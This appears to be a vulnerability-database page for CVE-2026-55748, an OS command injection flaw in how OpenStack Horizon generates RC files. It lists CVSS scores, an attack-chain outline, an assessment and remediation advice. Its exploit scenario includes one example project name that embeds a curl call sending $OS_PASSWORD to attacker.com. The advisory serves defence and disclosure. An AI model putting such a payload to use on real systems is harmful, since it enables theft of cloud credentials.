What is the CVSS score of CVE-2026-55748?

CVE-2026-55748 has a CVSS 3.1 base score of 6.0 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L. EPSS exploitation probability: 0.2%.

OpenStack Horizon CVE-2026-55748

MEDIUM

OS Command Injection (CWE-78)

2026-06-17 mitre

Command Injection Horizon Red Hat

6.0

CVSS 3.1 · Vendor: mitre

Severity by source

Vendor (mitre) PRIMARY

6.0 MEDIUM

AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L

vuln.today AI

6.0 MEDIUM

PR:H because project creation requires elevated admin rights; AC:H for the multi-step chain requiring crafted name plus victim execution; UI:R mandatory for victim to source the file.

3.1 AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L

4.0 AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

Red Hat

6.0 MEDIUM

qualitative

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L

Attack Vector

Network

Attack Complexity

High

Privileges Required

High

User Interaction

Required

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

Low

Lifecycle Timeline

Analysis Generated

Jun 17, 2026 - 15:39 vuln.today

DescriptionCVE.org

OpenStack Horizon before 25.7.4 produces scripts for OpenStack RC file downloading that may have a crafted project name with shell metacharacters. NOTE: some parties consider this a security hardening opportunity to address certain types of user error, not a vulnerability.

AnalysisAI

OpenStack Horizon before 25.7.4 embeds project names unsanitized into generated OpenStack RC shell scripts, enabling OS command injection when a victim user downloads and sources that script locally. An attacker with sufficient privileges to create or control a project name can insert shell metacharacters (e.g., backtick sequences, command substitution syntax) that execute arbitrary commands in the victim's local shell environment upon RC file execution. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Attacker gains project admin rights

Delivery

Craft project name with shell metacharacters

Exploit

Victim downloads RC file from Horizon

Execution

Victim sources RC file in local shell

Persist

Metacharacters trigger OS command execution

Impact

Local credential or environment compromise

Access

Attacker gains project admin rights

Delivery

Craft project name with shell metacharacters

Exploit

Victim downloads RC file from Horizon

Execution

Victim sources RC file in local shell

Persist

Metacharacters trigger OS command execution

Impact

Local credential or environment compromise

Vulnerability AssessmentAI

Exploitation	Exploitation requires the following specific conditions to all be true simultaneously: (1) the attacker must possess OpenStack project creation or project rename privileges - a high-privilege role (PR:H per CVSS) such as cloud admin or a delegated project admin - in order to set a malicious project name containing shell metacharacters; (2) a victim user must subsequently navigate to Horizon, select that specific project, and download the OpenStack RC file for it; and (3) the victim must execute (source) the RC file in a POSIX-compatible shell session. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The CVSS 3.1 base score of 6.0 with vector AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L correctly signals moderate-to-medium real-world risk. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An OpenStack administrator (or any user delegated project creation rights) creates a project named something like 'prod$(curl attacker.com/exfil?k=$OS_PASSWORD)' in a multi-tenant cloud. When a developer or operator navigates to that project in Horizon and downloads the RC file for CLI use, Horizon generates a script containing that unsanitized name. …
Remediation	The primary remediation is to upgrade OpenStack Horizon to version 25.7.4 or later, which addresses the unsanitized embedding of project names in RC script generation. … Detailed patch versions, workarounds, and compensating controls in full report.